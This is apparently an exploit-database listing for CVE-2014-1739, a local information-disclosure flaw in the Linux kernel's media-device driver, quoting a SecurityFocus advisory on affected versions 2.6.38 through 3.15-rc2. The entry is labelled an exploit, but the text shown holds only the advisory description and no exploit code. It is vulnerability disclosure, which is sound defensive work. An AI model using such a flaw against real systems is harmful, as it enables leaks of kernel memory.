Description

Linux Kernel 3.3.5 '/drivers/media/media-device.c' Local Information Disclosure Vulnerability. CVE-2014-1739. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/68048/info

The Linux kernel is prone to a local information-disclosure vulnerability.

Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks.

Linux kernel 2.6.38 through 3.15-rc2 are vulnerable.
